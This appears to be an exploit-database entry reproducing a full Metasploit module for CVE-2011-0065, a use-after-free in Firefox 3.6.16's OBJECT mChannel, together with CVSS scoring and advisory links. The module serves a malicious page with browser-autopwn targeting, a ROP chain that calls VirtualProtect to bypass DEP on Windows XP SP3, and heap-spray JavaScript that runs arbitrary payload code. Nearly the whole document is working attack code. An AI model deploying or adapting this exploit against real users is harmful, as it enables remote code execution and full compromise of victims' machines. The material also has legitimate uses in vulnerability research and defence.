Exploit: Firefox 3.6.16 OBJECT mChannel Remote Code Execution Exploit (DEP bypass) ( Ascii Version )

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Firefox 3.6.16 OBJECT mChannel Remote Code Execution Exploit (DEP bypass)

Published
Credit
Risk
2011.08.08
Rh0[at]z1p.biz
High
CWE
CVE
Local
Remote
CWE-399
CVE-2011-0065
No
Yes

Plain text version

CVSS Base Score
Impact Subscore
Exploitability Subscore
10/10
10/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Complete
Complete
Complete

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::FF,
:ua_minver => "3.6.16",
:ua_maxver => "3.6.16",
:os_name => OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking,
})

def initialize(info = {})
super(update_info(info,
'Name' => 'Mozilla Firefox 3.6.16 mChannel use after free Exploit',
'Description' => %q{
This module exploits an use after free vulnerability in Mozilla
Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
becomes a dangling pointer and can be reused when setting the OBJECTs
data attribute. (Discovered by regenrecht). This module uses heapspray
with a minimal ROP chain to bypass DEP on Windows XP SP3
},
'License' => MSF_LICENSE,
'Author' =>
[
'regenrecht', # discovery
'Rh0' # wrote metasploit module
],
'Version' => '0.0',
'References' =>
[
['CVE', '2011-0065'],
['OSVDB', '72085'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "",
},
'Targets' =>
[ # worked with 100% reliability
[ 'Firefox 3.6.16, Windows XP SP3 (VirtualBox 4)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 10 2011'
))
end

def on_request_uri(cli, request)

# Re-generate the payload
return if ((p = regenerate_payload(cli).encoded) == nil)

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })

# Handle the payload
handler(cli)
end

def generate_html(payload)

# DEP bypass
custom_stack = [
0x1052c871, # mov esp,[ecx] / mov edx,5c86c6ff add [eax],eax / xor eax,eax / pop esi / retN 0x8
0x7c801ad4, # VirtualProtect
0xbeeff00d,
0xbeeff00d,
0x7c874413, # jmp esp
0x0c0c0048, # start address
0x00000400, # size 1024
0x00000040, # Page EXECUTE_READ_WRITE
0x0c0c0c00 # old protection
].pack("V*")

payload_buf = ''
payload_buf << custom_stack
payload_buf << payload
escaped_payload = Rex::Text.to_unescape(payload_buf)

custom_js = %Q|

e = document.getElementById("d");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)
fake_obj_addr = unescape("\\x0c%u0c0c")

// taken and modified from adobe_flashplayer_newfunction.rb
var sc = unescape("#{escaped_payload}")
var ret_addr = unescape("%u0024%u0c0c")
while(ret_addr.length+20+8 < 0x100000) {ret_addr += ret_addr}
var b = ret_addr.substring(0,(0x48-0x24)/2)
b += sc
b += ret_addr
var next = b.substring(0,0x10000/2)
while(next.length<0x800000) {next += next}
var again = next.substring(0,0x80000 - (0x1020-0x08)/2)
array = new Array()
for (n=0;n<0x1f0;n++){
array[n] = again + sc
}

e.data = ""
|

return %Q|
<html>
<body>
<object id="d"><object>
<script type="text/javascript">
#{custom_js}
</script></body></html>
|
end

end


References:

https://bugzilla.mozilla.org/show_bug.cgi?id=634986
http://www.mozilla.org/security/announce/2011/mfsa2011-13.html

See this note in TXT Version

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Ascii Version